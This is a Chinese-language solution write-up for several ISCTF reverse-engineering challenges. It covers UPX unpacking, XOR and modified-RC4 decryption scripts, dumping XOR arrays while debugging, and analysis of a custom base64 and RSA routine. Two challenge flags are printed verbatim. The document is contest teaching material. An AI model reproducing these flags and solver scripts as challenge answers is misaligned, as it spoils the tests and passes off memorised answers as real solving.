![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MWJkNjlhYTMxNDdlYmYyZTVlYmQ0MzQwZjEzY2Q5MThfWndvQUxNSFVVb2tJbHJaeUZIb2R3VWl2S3kzR01DV2ZfVG9rZW46VFROY2JRUFJMb2VmTDd4RTY0NmNiNnZsbkFjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

看段可以看出UPX的区段名被修改了

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YzNjNDVlZDU0YTgwZmI4ZDc3YTZmNjdmMTI4N2NiMDVfbmluTjg5aXlQUzE1aWFOTUZUa0ttbDA0a0kxYVRGYmFfVG9rZW46RjkzUWJrZ3Awb0lCSnh4aXpGb2NERDhobkVmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

可以直接来修改它

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OWIzZTExOTA1ZTEyNWVmNWYyM2ZkNDRhNTRhMjRlZWVfczBLVGFQa0lCR2V6Zkk5YlNKZ3pRVDM2ZDVEQ3c5TmpfVG9rZW46RWlMaWJRRkI1b1ljemV4UDQ2ZWNUZzM0bnpkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

然后就用UPX正常脱壳就行

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZjNiODJjZTA3ZmEwY2E3YTFiNzNlODI5NWE3NTk1Y2JfNjV5Wnc2RU1QTTNVY1ZCTDlPaGlVbmhHZmNzak9mYzZfVG9rZW46RGJZNWJXZkdUbzh0Q1R4UkNqMWM1VW5rbnBnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OTk5ZjJkMDdiMTExNzAwZmFiYmM0MWZkMGU5MTI1NDdfck9sMmlOWk9qMWZDdlVPdmQ2SW4xbk9PMGFzYXpHMWFfVG9rZW46Q2RDNWJSQzdDb3VXeGF4NXdUaWN4akhvbnNnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

使用64位的ida打开脱壳后的程序，分析主函数的逻辑

很简单的逻辑，字符大小写转换和异或运算

`memcmp(&unk_40040, Buf2, 0x25ui64)` 比较 `Buf2` 和某个已知内存区域 `unk_40040` 的前 37 字节是否相同。

如果相等，则输出 `"Right,Cracker!!!"`；否则输出 `"Sorry,Try Again!"`。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZTRiMDFjMzQyNDBjMDE0MGU0MjFkMzAxZGQwYjljMTZfT015RUJ4ekRwbFBjdnFEZlJaWWdxUThMYTAxZWd5VndfVG9rZW46SVVFTWJMYXZlb0lsbGN4ZFhESGM1MHFEbmVoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

我们可以动态调试其逻辑，也可以直接看交叉引用得知真正要运算的内容

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YTY4Yzg4NGY1ZmQ0NjRkMDQ5ZDk0NzYxNjY1MWRhMjJfZ3FMV0VPMjJtc3pQNjFoYmVpZ3JJaXVoclprbmVWbEJfVG9rZW46R2JRVWJFcmd2bzU4MEJ4cVNuRGNOQjFBbmpjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NTMyMzU0NDdmYjY5MTQ2NzdkZGNiZDMwNDBiMzBiOTJfVG1FclRzRTQ4QWlXYlZtWDB6QmJScHJQWnA1Z1hSN2NfVG9rZW46T2dhamJDWjM5b1JHRk94SUNGcGNndEM5bjFxXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

真正的数据块在`unk_20030`

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MThiZDk1ZGE2MzY1MzUwMjg5YzJhZTQwMzI1MjMyMDhfNDNxSk5vU3hPRG1XU2o0dG55RlA3N0NnMzlVQUJoMERfVG9rZW46Q1NNVGJTeTBEb0NXb0V4R09TcWNtRlVWbjZkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

提取出来直接写出脚本

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZjhjZjFjNmYyODM5NDM0Njg0YTZmZDczOWQzOTBlNWRfTDZVU2IxSnlHMXJZeU1TVzZKTlpiNFhaUklQdExPaG1fVG9rZW46TEJ0Q2I1bVp0b2lUU3p4S2lFcWN6cndsblRNXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

```C
 #include<stdio.h>
int main() {
    unsigned char data[36] = { 0x50, 0x4A, 0x5A, 0x4D, 0x5F, 0x42, 0x7E, 0x76, 0x76, 0x5D,0x18, 0x18, 0x08, 0x4A, 0x56, 0x66, 0x60, 0x56, 0x4C, 0x66,0x5F, 0x08, 0x57, 0x5D, 0x66, 0x08, 0x6D, 0x66, 0x54, 0x79,  0x50, 0x57, 0x18, 0x18, 0x79, 0x44, };
    for (int i = 0; i < 36; i++) {
        data[i] ^= 0x39;
        if (data[i] >= 'a' && data[i] <= 'z')
            data[i] -= 32;
        else if (data[i] >= 'A' && data[i] <= 'Z')
            data[i] += 32;
    }
    puts(data);
    return 0;
}
```

ISCTF{gooD!!1SO_yOU_F1ND_1t_M@IN!!@}

### MIPS

出题人：BaitRc1

解题过程：

拿到附件，是一个.s文件，根据题目名称可知，这是MIPS架构的汇编，可以尝试进行编译一下，在虚拟机上配置好环境，运行指令

**mips-linux-gnu-gcc -o MIPS MIPS.s**

就成功把汇编编译成可执行程序了，然后就可以正常使用ida分析了

但是这里还有一个点就是除了ida7.5和ida9.0能反编译MIPS架构的汇编语言，其他版本的需要安装插件才能反编译。至于插件安装就不在这里赘述了。直接看反编译伪代码，

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MDFlZWE0MzY3YWQ0NWRmZjgzM2FhMDdmZGViMDY0MWRfcGp1Smd4cVVNSXdOMXBWRXcxcFBEVEpld3pNb0ZXRkJfVG9rZW46UEVIZmJCb01lb2JXQnR4OXpWT2NTR04ybjRkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这是main函数，看到还有MAIN_main函数，双击进入，可以看到

```Python
int MAIN_main()
{
  size_t v1; // $v0
  int i; // [sp+18h] [+18h]
  _BYTE v3[4]; // [sp+1Ch] [+1Ch] BYREF
  _DWORD v4[12]; // [sp+20h] [+20h] BYREF
  _DWORD v5[12]; // [sp+50h] [+50h] BYREF
  char v6[32]; // [sp+80h] [+80h] BYREF

  memcpy(v4, &unk_124C, sizeof(v4));
  puts("You know who is my lover???");
  _isoc99_scanf("%3s", v3);
  if ( v3[0] == 'h' && v3[1] == 'J' && v3[2] == 'x' )
  {
    puts("But, y0u know the flag???");
    _isoc99_scanf("%26s", v6);
    for ( i = 0; i < 12; ++i )
      v5[i] = v4[i];
    my_really_lover(v5, v3, 12);
    v1 = strlen(v6);
    four_c_114(v6, v1, v5, 12);
    if ( CcHhEeCcKk(v6) )
      puts("C0ngratul4tions!!!");
    return 0;
  }
  else
  {
    puts("Y0u are not my lover!");
    return 0;
  }
}
```

逻辑很简单，就是先输入一个字符串，和既定的一个字符串比较，然后再对该字符串进行异或得到真正的key，然后拿着这个key进行魔改的RC4加密，和标准的RC4加密相比，多异或了一个数，很常规的魔改了

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OGU3YmU4YzUyNmNhNDA4OTlkNDY5ZDBhNDVlM2VlYzNfajRHNVJabmJtZFZWSnF1S3pxTUVBTDdUV2NxNWNYUTVfVG9rZW46V2QwdGJhRnpTb2JObGR4SmhSbmN4V04wbk1mXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

可以动调拿flag，也可以写脚本解密，这里是解密脚本

```Python
#include<stdio.h> 
#include<stdlib.h>
#include<string.h> 
int init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
    
        int i = 0, j = 0;
        char k[256] = { 0 };
        unsigned char tmp = 0;
        for (i = 0; i < 256; i++) {
                s[i] = i;
                k[i] = key[i % Len_k];
        }
        for (i = 0; i < 256; i++) {
                j = (j + s[i] + k[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
        }
        return 0; 
}


int rc4(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) 
{
        
        unsigned char s[256];
        init(s, key, Len_k);
        int i = 0, j = 0, t = 0;
        unsigned long k = 0;
        unsigned char tmp;
        
        for (k = 0; k < Len_D; k++) {
                i = (i + 1) % 256;
                j = (j + s[i]) % 256;
                tmp = s[i];
                s[i] = s[j];
                s[j] = tmp;
                t = (s[i] + s[j]) % 256;
                Data[k] = Data[k] ^ s[t] ^ 0x52;
        }
        return 0; 
}
int main()
{
        
        unsigned char key[13] = "yabijionjion"; 

        printf("%s\n",key);
        unsigned long key_len = sizeof(key) - 1;
        unsigned char qw[] = {214, 50, 39, 78, 119, 202, 213, 118, 163, 33, 2, 9, 104, 9, 69, 137, 54, 154, 186, 144, 236, 71, 152, 248, 254, 240, 75};//密文
        rc4(qw, sizeof(qw), key, key_len);
        for (int i = 0; i < sizeof(qw); i++)
        { 
                printf("%c",qw[i]);  
        }
        return 0;
}
```

ISCTF{m3n_sh0w_mE_y0uR_Wor}

### 萝卜子的螃蟹

出题人：guoql

解题过程：

通过shift+F12字符串找到相关字符串

交叉引用找到具体的主函数。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NDhhYjViODhjYThkYzNmMDdiMjEzMTUwNGQzNjI0ZjJfQmZUc0ZLeHBRNjJIbFIyVTB2MDZZZVJ0VkVqYTRXQVZfVG9rZW46UDMzUGJGc1Y5b2lqZ0Z4OW5IcmNOZFE5bm9nXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

然后动态调试，给函数头下个断点，F8步过

程序什么时候卡了说明什么时候到input函数了。

然后命个名。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MTE2MjgzMDI0M2MwZDhkYjY3Yjg2YjMwODFlNzU4YjNfNjNrNEh3M3MwaUpvaVpPZVBjOGVCTmJtSGR5WVVGa3FfVG9rZW46RkVoYmJoNDNBbzFIUmJ4UTIxQ2N5MHhLbmdlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这v31和v29

包有一个是flag的

一眼地址，G跳转过去看0x4d4050

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ODJlODY5ZWRmOGIzODBlZDY3NmYwNzFmMWEyODliMjhfazhTUEdyVjF4aXBXWFJuTjU4TEFtOUttTUlEWVhzUHhfVG9rZW46U0FZWmJNTGkyb3Z1dWF4S29oOGNzdXNIbnFjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

还是个地址

继续跳转到0x891fd0

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YWNjNjc0MjczZWZmMTkyN2ViMzczYjc0OWNlZDViYzJfTUt4V1lsVHdhb1V0OTVzWDZPNkdCN3FzQlZNR2hGSzZfVG9rZW46SU1CTmJBTTBkb3ZWdWR4VGpJNmNGNndObk1lXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

找到输入的内容了。

继续F8到if

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YjE0MDM3ZGNhNjIxOTI5NGVjOGE2MTRhNGIxZjU3M2RfcDM4dHFTOXRhTm9MYU1jTUZCY1VHdm9jS1BQSjE2YURfVG9rZW46VVB3SGI0M2xtb1hqdmp4clhRaGNvTTl2bmtWXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

跳到0x8899f0

原来这个才是真正的flag的变量

那这个函数想必就是求字符串长度了

要求长度是52

构造一个长度52的字符串过去

'a'*52 

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

然后下边就是一些赋值操作了

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YTExN2ZlYzY4MjZmYjI1NjEwNjgzMWVhOTMzMjkyNWRfZDhRdTh3MFdBQnRlcktxeTFsdEZKYVphaFR6ZjVpdWZfVG9rZW46Q0dlQmJMQU9Ub0RvWHp4QXFQcWNOREpUbnlnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

v35 是上边的赋值操作的数组，在405850这个函数中传入v40和v35，想必是将v35进行操作后给到v40

然后在405e60中执行类似操作，给到v36

至于v36的真容，我们暂且按下不表

继续往下看，sub_405F80就是ida的传统艺能了，经典看不了反汇编

我们F7进入函数去看

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YzVjMWZiM2Q1YzJlNDM5NzA3MDFiMDYwMTc1NDkxODVfMll4dUpFRmJwbTlFcWJPeW1nT0NDZU9lb252UFZhbDdfVG9rZW46TDBBVGJlbmNCb1hRSld4N1VMdWNkdVQwbnZiXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这里call了一个403cf0

这个函数实际上就是一个copy函数

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NWRkY2Q0ZjMxZjRiMmM1YzBjODBmZGYwODcxY2ViYzdfU2I2WjRTelVJQjVmZmxzMjNCd3JjeEwxblhndFlaYkVfVG9rZW46RnB0YmJNbjdyb0hJQ3F4dnBQbGNjUFY2bldwXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

当然你可以一步一步继续分析

但是太慢了

我们给flag处下个内存读断点

访问内存时中断

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=OTIyN2UyOTM5MGEzZjU5YWNlOGJmYTkwMzMyOTNhNzNfS3ZaUHBpR0dwT0NscUVuTHFrOHMyZHdWaGlTSThKRmRfVG9rZW46WDFjaWIwTHhGb3F4OGx4TlJiemMzblRmbm5oXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

如果触发到ntdll的断点不用管，我们继续一路向西，继续运行。

碰到第一个.text段，发现没什么东西，继续运行，直到碰到第二个.text段

F5反汇编看一眼

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZjNhYWIxMmRhNDVkYzliZWNjN2UxN2U3ZjFmY2ZlNjlfOFJ6TzJCVlBqc0FHUGhkQUlmblk2TTVudXJZUm4xN1pfVG9rZW46SlYwMWJpZFA3b1hBQzZ4S0xqVGNXMkhhbm5lXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

发现在这里这个值被取出，然后进行异或了。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YzcyMGU2MzU3MTQ4N2E3ODY5NDViZmVmNzhkOTdhNDFfQ0JZM0hWZWRxRnk4MnFsa1VsUjBJMU5BNGJMbjBnMVNfVG9rZW46TmRHSmJXYVhWb0ZDeFh4OURETmNNMjhVbnpmXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这里的a1也可以看出来是我们的flag地址（当然这里重启过多次程序，地址发生变化了，但是唯一不变的是flag长度是52，也就是0x34）

我们不妨在这儿下个断点。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MjRlMmJhNmE3MjVkZWNhYTg5NTIzZGViNDQ2NTkzMGVfYktvNnI1VTR4QXo3ZFFFTEF6M1BaYkhxR0xiUHJBWElfVG9rZW46RFJ3TWJJSnhKb1JNRFJ4Y0NJTWNCYXZLbmhnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

如果我们跳到v30对应的地址

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NjM2Yzc3MzFjZDVkYjNmYzJkMGQ0NDZiNmY5NjYxYzJfQm9uWHZPbG5ySDllbElVUGFkdVowNHFRRnlldFg4VE5fVG9rZW46UTJOZGJoZDBQb3FXWGh4ZmZGUmMzUmlBbjJlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

你会发现这里就是我们下断点的位置。

我们重启一下程序，构造一下差异化字母表（即输入为ABCDEFG....），方便我们定位

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MDg5NDZjNGU4NDg1ZThkYzNlY2NiZjM4YmQwNzcwOGNfdUQ0Rm5JRlRTaXJRV0o2b0tjQ3hKeFpZMGZEakh0VFNfVG9rZW46VThYZ2IwVUtwb2NJUnZ4SWpGMGNEY1ZybnliXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这里确实就是我们flag的位置

然后循环0x34，也就是52次

我们先把这个v42搞出来，肯定是个数组，但是ida没有识别到

well，你当然可以直接挨个提，但是我们也可以根据我们的flag，和v30的值异或。

就得到这个v42数组了。

下边那一串数组就是v30了

```Python
print([i^j for i,j in zip([0x69, 0xA9, 0x3D, 0x67, 0xDF, 0xB6, 0x03, 0xF5, 0xB8, 0x8D, 0xB7, 0x9F, 0xBD, 0xD1, 0x48, 0xCA, 0xA7, 0x0C, 0x84, 0x82, 0x12, 0xF2, 0x73, 0xFE, 0x37, 0xC4, 0xBF, 0xBC, 0xBD, 0xC1, 0x50, 0x41, 0xFC, 0xE4, 0xA3, 0x18, 0x49, 0x9F, 0x80, 0xA7, 0x6C, 0xBB, 0x1F, 0x3F, 0xA4, 0xC3, 0xFD, 0x15, 0xF9, 0x22, 0x6E, 0xA3],[ord(i) for i in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"])])
```

最终得到这个v42数组为

[40, 235, 126, 35, 154, 240, 68, 189, 241, 199, 252, 211, 240, 159, 7, 154, 246, 94, 215, 214, 71, 164, 36, 166, 110, 158, 222, 222, 222, 165, 53, 39, 155, 140, 202, 114, 34, 243, 237, 201, 3, 203, 110, 77, 215, 183, 136, 99, 142, 90, 23, 217]

F8步过就到了这里，说明加密完毕

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NDQ4YzU3NmZhYThmZmU3NTI5MzAxZmI3YzgwOWNhOGNfS1NYblR6eHZ3WUw3R2J5UmU3WlZoN3o5TjhLckxMa0dfVG9rZW46RW5DSGJaRjJ1b3NJNDN4VkxWUmNxWks5bmFlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

下边两个check是很简单的判断，fake_check返回的是1，是个永真，所以是fake

而check在if的上边，返回的是个bool值，并且这个v49是拿的v41的值，而v41是加密后的flag

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YzM1YTQ3MjkxNTNhOWM5YTUxMzRkNGU4MmI4NzA5MjZfSUxMa3FpZ1hnWTVaMGN1OFBFWHJLeGl3TVpuVHFKVldfVG9rZW46WnlHZmJGNW1lb292M1l4ZWlISGM1V2F5bnBjXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=N2RiY2JkY2ZjZTQ3YzFkYzQ1YzllMzUwOTE1MDI4NzRfOGV2aGd2bHlIbEFtY2tTMUw1OTZETXJ5eVJEQ2k1cFRfVG9rZW46WnRiMGI0MXVsb1pZcER4b3VvV2NIN1FjbmtoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这里可以看出来v47其实就是封装过后v36的值

我们直接看v36即可

导出来v36的值为

[0x61, 0xB8, 0x3D, 0x77, 0xDC, 0x8B, 0x36, 0xC8, 0x82, 0xB3, 0xA3, 0xE2, 0xC4, 0xC0, 0x6A, 0xFF, 0x9B, 0x6E, 0xA5, 0xAF, 0x14, 0xC5, 0x42, 0xC3, 0x31, 0xF2, 0xBF, 0x90, 0xB9, 0xFA, 0x13, 0x01, 0xC4, 0xF5, 0xA5, 0x07, 0x7D, 0xB3, 0x9F, 0xAC, 0x5C, 0x8C, 0x5E, 0x22, 0xB3, 0xE8, 0xC8, 0x3C, 0xDC, 0x39, 0x23, 0xA4, 0x55]

well，我们捋一下思路：

输入的flag和v42这个数组异或了，异或之后与v36进行比较。

那只需要v42和v36这个数组进行异或，不就是flag了？

看似逻辑很对，但实际上严格来说我们还缺一步，即v42与flag的相关性，我们不妨换个flag，用ISCTF标头来输入进去，最后发现加密后的flag的前几个值就是v36的前几个。也就是证明了v42与flag无关，是固定的一个数组。

写个脚本

```Python
v36 = [97, 184, 61, 119, 220, 139, 54, 200, 130, 179, 163, 226, 196, 192, 106, 255, 155, 110, 165, 175, 20, 197, 66, 195, 49, 242, 191, 144, 185, 250, 19, 1, 196, 245, 165, 7, 125, 179, 159, 172, 92, 140, 94, 34, 179, 232, 200, 60, 220, 57, 35, 164, 85]
v42 = [40, 235, 126, 35, 154, 240, 68, 189, 241, 199, 252, 211, 240, 159, 7, 154, 246, 94, 215, 214, 71, 164, 36, 166, 110, 158, 222, 222, 222, 165, 53, 39, 155, 140, 202, 114, 34, 243, 237, 201, 3, 203, 110, 77, 215, 183, 136, 99, 142, 90, 23, 217]

print(''.join([chr(i^j) for i,j in zip(v36,v42)]))
```

### 在逆向尽头咏唱密码的少女

出题人：guoql

解题过程：

这道题的难点其实就3个

第一点就是大家可能用工具没办法直接脱掉upx外壳

需要用upx官方的工具

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MjdiZjZjNjIxMjhlMDI3OTZiZGY1N2JjZDZjZDkxODFfd2xHSHF0dEI3ZTlYNXBYenJxQ2hvVktoMlp1a1FPME9fVG9rZW46VlFJNGJCSHhLb0J0NFd4bkRkSGNFRzZwbldkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这个脱一下壳就行

```Shell
upx.exe -d found -o dec_found
```

然后逆向分析

当然这道题主要是逆向难度比较大啊，毕竟用的arm架构编译的，可能部分同学没办法动调，得自己启qemu去做虚拟机套娃之类的乱七八糟的东西，这里按下不表了。

密码学就是很多密码手都会的

如果直接做的话就是p-1光滑数

给的hint也可以直接用coppersmith求解p和q

这个东西主要是自己出题时候实现了两点

1、所有的数据结构都用结构体来实现了（包括寄存器和栈结构）

2、密码学函数也是自己写的（题目里边用了最原始的很慢的那种字符串转化......主要是加大逆向难度，所以才需要3小时去生成p-1光滑数）

简单聊一下里边的一些东西

首先是喜闻乐见的ptrace啊（

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NTMzN2JlYTE4MWY3OWFlMWFmMTg2YmUxZjBiYmE3MjRfbUdsckZDWlU2Y3g2bFlqU0N6b1Z1MmhLd2xGMlR3MkFfVG9rZW46UkpUU2Jvc05nb0RBeGZ4TW5IQWNLS2NlbnRoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这里就是跟srand有关的了

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MzA1MDUxODFhMzljOTJlNWRkYTQyZDNjYjYxNWE2YjhfWlhRamRST3JVdll1QlczWGVPdllsQVc0cWp5SllmTzFfVG9rZW46Vkt5ZGJDT1NCb2ZkSjR4dmdzamNkTU1SbndlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这里进行输入flag，然后进到了56DC这个函数

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NDc0ZjQ2YjEzMGZiYTA0ZTY3NjI0NTg0MjdmZjEyYjZfN0ppd0VKdm1BaFhZSEpIOEJCZ3JjYTF4eTRSVm5qakFfVG9rZW46TE42dGJhRHBRb3lBRVp4NlBFMGNhVzdmbmNlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

再往下就是进入203C这个函数，返回了一个v6，下边的if就是进行判断是否正确了

那么这个203C就是个判断是否正确的函数

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NDI3M2U1ZDliNmFlMTY0ZjAxY2ZkNDc2NDkyOTg4NThfV1hHalZmOUhUd2ZpY3ljTFFXUGJIZ2kwMWJ3bVIxZlhfVG9rZW46SmtQRGJzM0d0b2hwM2t4WmMwQ2N0YmFJblVkXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

这里的v17就是上边那一大串，也就是v13

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NzkzYWNjMjdlYWQzNjJlMzBhNzIxMDc5ZDY0NjNiNzRfMVhrRlIxM1lTUFNtRlNORFYxR0V6dU1SQ1FrWHVZYTNfVG9rZW46WWlOTmJRMUdnb2lDSVR4TlRvcmMzVTROblZnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

而v15，就是在这里的v11，合理推测就是56DC的返回值。

也就是说，56DC很可能就是加密函数enc

进到enc函数里边

就需要动态调试来猜函数的意思了

同时涉及到对寄存器的操作来修改传参值，从而猜出来这些密码学函数的含义

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=ZTE2N2UwOWI2NjI1M2Y1YjhjNzc1ZDA1MjFmOWE4ZWZfNkY4Wll4eVBIT0hhM0J6Mm84dWI4OGVxYThLblV6blJfVG9rZW46RmZ2UmJnNFdrb05iWTl4TVVwSWNFQ0hkbnViXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

简单介绍一下前边的内容，就是前边所说的对栈和结构体进行了实现，一个是push入栈，一个是pop出栈，这里动调很明显就能看出来这里实际就是对flag进行了倒序（因为是栈，入栈再出栈自然就颠倒顺序了），并且进行了一下加密，加上了一个v11，这个v11实际上就是循环次数。

也就是，这里等价于

```Python
enc1 = [ord(i)+j for i,j in enumerate(flag)][::-1]
```

函数2280则实际上是base64的加密

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MDY3MmM0MDEwZDhlMDc0NjZmZDYyNjEwNGNiM2MyZDJfS2l1SkRzT0twNHNtQkRhUG9RUWh1bEJTdDFmRVpQZGtfVG9rZW46UVpLeGJUcUxOb2dTcFJ4WVRzY2N0TVZVbnJlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

有一个qword_19030这个全局变量

我们交叉引用就能发现是在sub_2EE4这个函数里边被改变了

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MmFhNzJkZDE3OGNhZGE0NjRlODE1OTVjNDBkYWU2MjNfUEwzc0tyQW5ITkdmbGRuS254TkxGRzlIeE9UQ09OUnNfVG9rZW46VkxaaWJweE5Pb3MxWVZ4NWJheWNZQlJ4bnBiXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

而2EE4这个函数，实际上是在enc这个函数的开头就被执行了

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NDE4YjY3YTViZGYyMWZhNzg2NGI3NzI2YzZiMTQ1ZWNfSWxqZEQ2QnpZQlN3Uko3ZXdCcHhmYWl0UjM3T1U4S3pfVG9rZW46TEVvUWJpZW5TbzFwV3R4RXNXMWNJaWFTblViXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

动调就可以发现，里边实际上就是rand了两个随机数

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NTUzN2I5YmUyMmMyZTY0YTRjNWRlMzBjYWY3YjIxM2FfUjdoMjE1UHJyejZYSllEaGF3U1ljQXcwTzJRQlY2Z0pfVG9rZW46RUw5ZGJZVEp2b2RudTF4U0lyTGNWazVubmFnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

然后进到了12F8这个函数

当然很多东西都可以动调出来，包括这里这个21F8调试就会发现实际上是对这个base64的表进行一个交换处理

当然这个也不难看出来，就是用了一点小手段

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=M2ZjYWIwOWYyZjVjNmY2M2I2Zjk3ZjdlZTdiZDRmY2ZfdmZuRkdMR2RqVm5jUURLVllMM3Mwbk5ZZE1najNNakhfVG9rZW46WVM0YmJFZWI5b3hvOFB4S2ZkbGNWNEh5bnJlXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

在里边实际上使用的是异或交换

到目前为止，我们大致已经顺下来了，也就是将输入的字符进行一个base64加密，其中发生了码表的替换，而这个替换用的是rand函数，而srand又在前边依据的是我们的随机数值。

当然这需要你对base64有着比较深刻的理解

我们来回忆一下base64是如何加密的？

输入3个字符，每个字符8bit，共24bit

分割成4个6bit，然后根据这6bit对应的数字，去码表里边按照这个数字当索引，去找对应的字符，最后拼接到一起。

我们除了变更了base64的码表之外，我们还可以在分割6bit的顺序上发生变化。

大家注意一下这里这点，将对应的24bit提取出来，按照加密的顺序恢复出来原先的3个8bit即可。

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=NTNmNjg3NjhjNzgyY2VhMjk5ODY1OWVkNTRmMzdkNDRfRDRoTUhOYTZXM1VmNkNZeUxLSTBwNVNOUzhjMWpIMmpfVG9rZW46REhFamJKTmNhb1c4MGV4QkVOVGMydVMybkdoXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

接着往下，回到上一个函数。这里的这个，就是需要动调才能比较清晰的看出来了

5620这个函数实际上就是string_to_number,也就是bytes_to_long这个密码学函数

将字符串转化为数字

而下边的5054就是关键的RSA加密函数

